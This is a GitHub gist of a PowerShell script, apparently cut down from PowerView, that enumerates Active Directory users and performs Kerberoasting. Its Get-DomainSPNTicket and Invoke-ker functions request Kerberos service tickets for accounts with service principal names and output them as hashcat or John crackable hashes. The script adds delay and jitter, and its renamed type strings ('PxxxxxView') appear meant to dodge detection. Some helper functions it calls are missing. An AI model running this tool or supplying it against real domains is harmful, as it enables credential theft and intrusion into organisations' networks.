Created
December 25, 2020 11:24
-
-
Save sparcflow/c7856332a09353325b9888d2b769ee2e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Get-DomainSearcher { | |
| [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
| [OutputType('System.DirectoryServices.DirectorySearcher')] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(ValueFromPipeline = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Domain, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('Filter')] | |
| [String] | |
| $LDAPFilter, | |
| [ValidateNotNullOrEmpty()] | |
| [String[]] | |
| $Properties, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('ADSPath')] | |
| [String] | |
| $SearchBase, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $SearchBasePrefix, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('DomainController')] | |
| [String] | |
| $Server, | |
| [ValidateSet('Base', 'OneLevel', 'Subtree')] | |
| [String] | |
| $SearchScope = 'Subtree', | |
| [ValidateRange(1, 10000)] | |
| [Int] | |
| $ResultPageSize = 200, | |
| [ValidateRange(1, 10000)] | |
| [Int] | |
| $ServerTimeLimit = 120, | |
| [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
| [String] | |
| $SecurityMasks, | |
| [Switch] | |
| $Tombstone, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty | |
| ) | |
| PROCESS { | |
| if ($PSBoundParameters['Domain']) { | |
| $TargetDomain = $Domain | |
| } | |
| else { | |
| if ($PSBoundParameters['Credential']) { | |
| $DomainObject = Get-Domain -Credential $Credential | |
| } | |
| else { | |
| $DomainObject = Get-Domain | |
| } | |
| $TargetDomain = $DomainObject.Name | |
| } | |
| if (-not $PSBoundParameters['Server']) { | |
| try { | |
| if ($DomainObject) { | |
| $BindServer = $DomainObject.PdcRoleOwner.Name | |
| } | |
| elseif ($PSBoundParameters['Credential']) { | |
| $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name | |
| } | |
| else { | |
| $BindServer = ((Get-Domain).PdcRoleOwner).Name | |
| } | |
| } | |
| catch { | |
| throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" | |
| } | |
| } | |
| else { | |
| $BindServer = $Server | |
| } | |
| $SearchString = 'LDAP://' | |
| if ($BindServer -and ($BindServer.Trim() -ne '')) { | |
| $SearchString += $BindServer | |
| if ($TargetDomain) { | |
| $SearchString += '/' | |
| } | |
| } | |
| if ($PSBoundParameters['SearchBasePrefix']) { | |
| $SearchString += $SearchBasePrefix + ',' | |
| } | |
| if ($PSBoundParameters['SearchBase']) { | |
| if ($SearchBase -Match '^GC://') { | |
| $DN = $SearchBase.ToUpper().Trim('/') | |
| $SearchString = '' | |
| } | |
| else { | |
| if ($SearchBase -match '^LDAP://') { | |
| if ($SearchBase -match "LDAP://.+/.+") { | |
| $SearchString = '' | |
| $DN = $SearchBase | |
| } | |
| else { | |
| $DN = $SearchBase.SubString(7) | |
| } | |
| } | |
| else { | |
| $DN = $SearchBase | |
| } | |
| } | |
| } | |
| else { | |
| if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { | |
| $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" | |
| } | |
| } | |
| $SearchString += $DN | |
| Write-Verbose "[Get-DomainSearcher] search string: $SearchString" | |
| if ($Credential -ne [Management.Automation.PSCredential]::Empty) { | |
| Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" | |
| $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
| $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) | |
| } | |
| else { | |
| $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) | |
| } | |
| $Searcher.PageSize = $ResultPageSize | |
| $Searcher.SearchScope = $SearchScope | |
| $Searcher.CacheResults = $False | |
| $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All | |
| if ($PSBoundParameters['ServerTimeLimit']) { | |
| $Searcher.ServerTimeLimit = $ServerTimeLimit | |
| } | |
| if ($PSBoundParameters['Tombstone']) { | |
| $Searcher.Tombstone = $True | |
| } | |
| if ($PSBoundParameters['LDAPFilter']) { | |
| $Searcher.filter = $LDAPFilter | |
| } | |
| if ($PSBoundParameters['SecurityMasks']) { | |
| $Searcher.SecurityMasks = Switch ($SecurityMasks) { | |
| 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } | |
| 'Group' { [System.DirectoryServices.SecurityMasks]::Group } | |
| 'None' { [System.DirectoryServices.SecurityMasks]::None } | |
| 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } | |
| 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } | |
| } | |
| } | |
| if ($PSBoundParameters['Properties']) { | |
| $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } | |
| $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) | |
| } | |
| $Searcher | |
| } | |
| } | |
| function Convert-LDAPProperty { | |
| [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
| [OutputType('System.Management.Automation.PSCustomObject')] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Mandatory = $True, ValueFromPipeline = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| $Properties | |
| ) | |
| $ObjectProperties = @{} | |
| $Properties.PropertyNames | ForEach-Object { | |
| if ($_ -ne 'adspath') { | |
| if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { | |
| $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } | |
| } | |
| elseif ($_ -eq 'grouptype') { | |
| $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum | |
| } | |
| elseif ($_ -eq 'samaccounttype') { | |
| $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum | |
| } | |
| elseif ($_ -eq 'objectguid') { | |
| $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid | |
| } | |
| elseif ($_ -eq 'useraccountcontrol') { | |
| $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum | |
| } | |
| elseif ($_ -eq 'ntsecuritydescriptor') { | |
| $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 | |
| if ($Descriptor.Owner) { | |
| $ObjectProperties['Owner'] = $Descriptor.Owner | |
| } | |
| if ($Descriptor.Group) { | |
| $ObjectProperties['Group'] = $Descriptor.Group | |
| } | |
| if ($Descriptor.DiscretionaryAcl) { | |
| $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl | |
| } | |
| if ($Descriptor.SystemAcl) { | |
| $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl | |
| } | |
| } | |
| elseif ($_ -eq 'accountexpires') { | |
| if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { | |
| $ObjectProperties[$_] = "NEVER" | |
| } | |
| else { | |
| $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) | |
| } | |
| } | |
| elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { | |
| if ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
| $Temp = $Properties[$_][0] | |
| [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
| [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
| $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) | |
| } | |
| else { | |
| $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) | |
| } | |
| } | |
| elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
| $Prop = $Properties[$_] | |
| try { | |
| $Temp = $Prop[$_][0] | |
| [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
| [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
| $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) | |
| } | |
| catch { | |
| Write-Verbose "[Convert-LDAPProperty] error: $_" | |
| $ObjectProperties[$_] = $Prop[$_] | |
| } | |
| } | |
| elseif ($Properties[$_].count -eq 1) { | |
| $ObjectProperties[$_] = $Properties[$_][0] | |
| } | |
| else { | |
| $ObjectProperties[$_] = $Properties[$_] | |
| } | |
| } | |
| } | |
| try { | |
| New-Object -TypeName PSObject -Property $ObjectProperties | |
| } | |
| catch { | |
| Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" | |
| } | |
| } | |
| function Get-Domain { | |
| [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] | |
| [CmdletBinding()] | |
| Param( | |
| [Parameter(Position = 0, ValueFromPipeline = $True)] | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Domain, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty | |
| ) | |
| PROCESS { | |
| if ($PSBoundParameters['Credential']) { | |
| Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' | |
| if ($PSBoundParameters['Domain']) { | |
| $TargetDomain = $Domain | |
| } | |
| else { | |
| $TargetDomain = $Credential.GetNetworkCredential().Domain | |
| Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" | |
| } | |
| $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
| try { | |
| [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
| } | |
| catch { | |
| Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" | |
| } | |
| } | |
| elseif ($PSBoundParameters['Domain']) { | |
| $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) | |
| try { | |
| [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
| } | |
| catch { | |
| Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" | |
| } | |
| } | |
| else { | |
| try { | |
| [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
| } | |
| catch { | |
| Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" | |
| } | |
| } | |
| } | |
| } | |
| function Get-DomainSPNTicket { | |
| [OutputType('PxxxxxView.SPddicket')] | |
| [CmdletBinding(DefaultParameterSetName = 'RawSPN')] | |
| Param ( | |
| [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] | |
| [ValidatePattern('.*/.*')] | |
| [Alias('ServicePrincipalName')] | |
| [String[]] | |
| $SPN, | |
| [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] | |
| [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] | |
| [Object[]] | |
| $User, | |
| [ValidateSet('john', 'hashcat')] | |
| [Alias('Format')] | |
| [String] | |
| $OutputFormat = 'hashcat', | |
| [ValidateRange(0,10000)] | |
| [Int] | |
| $Delay = 0, | |
| [ValidateRange(0.0, 1.0)] | |
| [Double] | |
| $Jitter = .3, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty | |
| ) | |
| BEGIN { | |
| $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | |
| if ($PSBoundParameters['Credential']) { | |
| $LogonToken = Invoke-UserImpersonation -Credential $Credential | |
| } | |
| } | |
| PROCESS { | |
| if ($PSBoundParameters['User']) { | |
| $TargetObject = $User | |
| } | |
| else { | |
| $TargetObject = $SPN | |
| } | |
| $RandNo = New-Object System.Random | |
| ForEach ($Object in $TargetObject) { | |
| if ($PSBoundParameters['User']) { | |
| $UserSPN = $Object.ServicePrincipalName | |
| $SamAccountName = $Object.SamAccountName | |
| $DistinguishedName = $Object.DistinguishedName | |
| } | |
| else { | |
| $UserSPN = $Object | |
| $SamAccountName = 'UNKNOWN' | |
| $DistinguishedName = 'UNKNOWN' | |
| } | |
| if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { | |
| $UserSPN = $UserSPN[0] | |
| } | |
| try { | |
| $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN | |
| } | |
| catch { | |
| Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" | |
| } | |
| if ($Ticket) { | |
| $TicketByteStream = $Ticket.GetRequest() | |
| } | |
| if ($TicketByteStream) { | |
| $Out = New-Object PSObject | |
| $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' | |
| if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') { | |
| $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) | |
| $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 | |
| $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) | |
| if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { | |
| Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' | |
| $Hash = $null | |
| $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
| } else { | |
| $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" | |
| $Out | Add-Member Noteproperty 'TicketByteHexStream' $null | |
| } | |
| } else { | |
| Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" | |
| $Hash = $null | |
| $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) | |
| } | |
| if($Hash) { | |
| if ($OutputFormat -match 'John') { | |
| $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" | |
| } | |
| else { | |
| if ($DistinguishedName -ne 'UNKNOWN') { | |
| $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
| } | |
| else { | |
| $UserDomain = 'UNKNOWN' | |
| } | |
| $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" | |
| } | |
| $Out | Add-Member Noteproperty 'Hash' $HashFormat | |
| } | |
| $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName | |
| $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName | |
| $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName | |
| $Out.PSObject.TypeNames.Insert(0, 'PxxxxxView.SPddicket') | |
| Write-Output $Out | |
| } | |
| Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
| } | |
| } | |
| END { | |
| if ($LogonToken) { | |
| Invoke-RevertToSelf -TokenHandle $LogonToken | |
| } | |
| } | |
| } | |
| function Get-DomainUser { | |
| [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] | |
| [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
| [OutputType('PowerView.User')] | |
| [OutputType('PowerView.User.Raw')] | |
| [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] | |
| Param( | |
| [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
| [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] | |
| [String[]] | |
| $Identity, | |
| [Switch] | |
| $SPN, | |
| [Switch] | |
| $AdminCount, | |
| [Parameter(ParameterSetName = 'AllowDelegation')] | |
| [Switch] | |
| $AllowDelegation, | |
| [Parameter(ParameterSetName = 'DisallowDelegation')] | |
| [Switch] | |
| $DisallowDelegation, | |
| [Switch] | |
| $TrustedToAuth, | |
| [Alias('KerberosPreauthNotRequired', 'NoPreauth')] | |
| [Switch] | |
| $PreauthNotRequired, | |
| [ValidateNotNullOrEmpty()] | |
| [String] | |
| $Domain, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('Filter')] | |
| [String] | |
| $LDAPFilter, | |
| [ValidateNotNullOrEmpty()] | |
| [String[]] | |
| $Properties, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('ADSPath')] | |
| [String] | |
| $SearchBase, | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('DomainController')] | |
| [String] | |
| $Server, | |
| [ValidateSet('Base', 'OneLevel', 'Subtree')] | |
| [String] | |
| $SearchScope = 'Subtree', | |
| [ValidateRange(1, 10000)] | |
| [Int] | |
| $ResultPageSize = 200, | |
| [ValidateRange(1, 10000)] | |
| [Int] | |
| $ServerTimeLimit, | |
| [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
| [String] | |
| $SecurityMasks, | |
| [Switch] | |
| $Tombstone, | |
| [Alias('ReturnOne')] | |
| [Switch] | |
| $FindOne, | |
| [Management.Automation.PSCredential] | |
| [Management.Automation.CredentialAttribute()] | |
| $Credential = [Management.Automation.PSCredential]::Empty, | |
| [Switch] | |
| $Raw | |
| ) | |
| <# | |
| DynamicParam { | |
| $UACValueNames = [Enum]::GetNames($UACEnum) | |
| # add in the negations | |
| $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} | |
| # create new dynamic parameter | |
| New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) | |
| } | |
| #> | |
| BEGIN { | |
| $SearcherArguments = @{} | |
| if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
| if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
| if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
| if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
| if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
| if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
| if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
| if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } | |
| if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
| if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
| $UserSearcher = Get-DomainSearcher @SearcherArguments | |
| } | |
| PROCESS { | |
| #bind dynamic parameter to a friendly variable | |
| #if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { | |
| # New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters | |
| #} | |
| if ($UserSearcher) { | |
| $IdentityFilter = '' | |
| $Filter = '' | |
| $Identity | Where-Object {$_} | ForEach-Object { | |
| $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') | |
| if ($IdentityInstance -match '^S-1-') { | |
| $IdentityFilter += "(objectsid=$IdentityInstance)" | |
| } | |
| elseif ($IdentityInstance -match '^CN=') { | |
| $IdentityFilter += "(distinguishedname=$IdentityInstance)" | |
| if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { | |
| # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname | |
| # and rebuild the domain searcher | |
| $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' | |
| Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" | |
| $SearcherArguments['Domain'] = $IdentityDomain | |
| $UserSearcher = Get-DomainSearcher @SearcherArguments | |
| if (-not $UserSearcher) { | |
| Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" | |
| } | |
| } | |
| } | |
| elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { | |
| $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' | |
| $IdentityFilter += "(objectguid=$GuidByteString)" | |
| } | |
| elseif ($IdentityInstance.Contains('\')) { | |
| $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical | |
| if ($ConvertedIdentityInstance) { | |
| $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) | |
| $UserName = $IdentityInstance.Split('\')[1] | |
| $IdentityFilter += "(samAccountName=$UserName)" | |
| $SearcherArguments['Domain'] = $UserDomain | |
| Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" | |
| $UserSearcher = Get-DomainSearcher @SearcherArguments | |
| } | |
| } | |
| else { | |
| $IdentityFilter += "(samAccountName=$IdentityInstance)" | |
| } | |
| } | |
| if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { | |
| $Filter += "(|$IdentityFilter)" | |
| } | |
| if ($PSBoundParameters['SPN']) { | |
| Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' | |
| $Filter += '(servicePrincipalName=*)' | |
| } | |
| if ($PSBoundParameters['AllowDelegation']) { | |
| Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' | |
| # negation of "Accounts that are sensitive and not trusted for delegation" | |
| $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' | |
| } | |
| if ($PSBoundParameters['DisallowDelegation']) { | |
| Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' | |
| $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' | |
| } | |
| if ($PSBoundParameters['AdminCount']) { | |
| Write-Verbose '[Get-DomainUser] Searching for adminCount=1' | |
| $Filter += '(admincount=1)' | |
| } | |
| if ($PSBoundParameters['TrustedToAuth']) { | |
| Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' | |
| $Filter += '(msds-allowedtodelegateto=*)' | |
| } | |
| if ($PSBoundParameters['PreauthNotRequired']) { | |
| Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' | |
| $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' | |
| } | |
| if ($PSBoundParameters['LDAPFilter']) { | |
| Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" | |
| $Filter += "$LDAPFilter" | |
| } | |
| # build the LDAP filter for the dynamic UAC filter value | |
| $UACFilter | Where-Object {$_} | ForEach-Object { | |
| if ($_ -match 'NOT_.*') { | |
| $UACField = $_.Substring(4) | |
| $UACValue = [Int]($UACEnum::$UACField) | |
| $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" | |
| } | |
| else { | |
| $UACValue = [Int]($UACEnum::$_) | |
| $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" | |
| } | |
| } | |
| $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" | |
| Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" | |
| if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } | |
| else { $Results = $UserSearcher.FindAll() } | |
| $Results | Where-Object {$_} | ForEach-Object { | |
| if ($PSBoundParameters['Raw']) { | |
| # return raw result objects | |
| $User = $_ | |
| $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') | |
| } | |
| else { | |
| $User = Convert-LDAPProperty -Properties $_.Properties | |
| $User.PSObject.TypeNames.Insert(0, 'PowerView.User') | |
| } | |
| $User | |
| } | |
| if ($Results) { | |
| try { $Results.dispose() } | |
| catch { | |
| Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" | |
| } | |
| } | |
| $UserSearcher.dispose() | |
| } | |
| } | |
| } | |
| function Invoke-ker { | |
| [OutputType('PxxxxxView.SPddicket')] | |
| [CmdletBinding()] | |
| Param( | |
| [ValidateNotNullOrEmpty()] | |
| [Alias('Filter')] | |
| [String] | |
| $LDAPFilter, | |
| [ValidateRange(1, 10000)] | |
| [Int] | |
| $ResultPageSize = 200, | |
| [ValidateRange(1, 10000)] | |
| [Int] | |
| $ServerTimeLimit, | |
| [ValidateRange(0,10000)] | |
| [Int] | |
| $Delay = 0, | |
| [ValidateRange(0.0, 1.0)] | |
| [Double] | |
| $Jitter = .3, | |
| [ValidateSet('john', 'hashcat')] | |
| [Alias('Format')] | |
| [String] | |
| $OutputFormat = 'hashcat' | |
| ) | |
| BEGIN { | |
| $UserSearcherArguments = @{ | |
| 'SPN' = $True | |
| 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname' | |
| } | |
| if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter } | |
| if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } | |
| if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
| if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } | |
| if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } | |
| } | |
| PROCESS { | |
| if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity } | |
| Get-DomainUser @UserSearcherArguments | Get-DomainSPNTicket -Delay $Delay -OutputFormat $OutputFormat -Jitter $Jitter | |
| } | |
| END { | |
| if ($LogonToken) { | |
| Invoke-RevertToSelf -TokenHandle $LogonToken | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment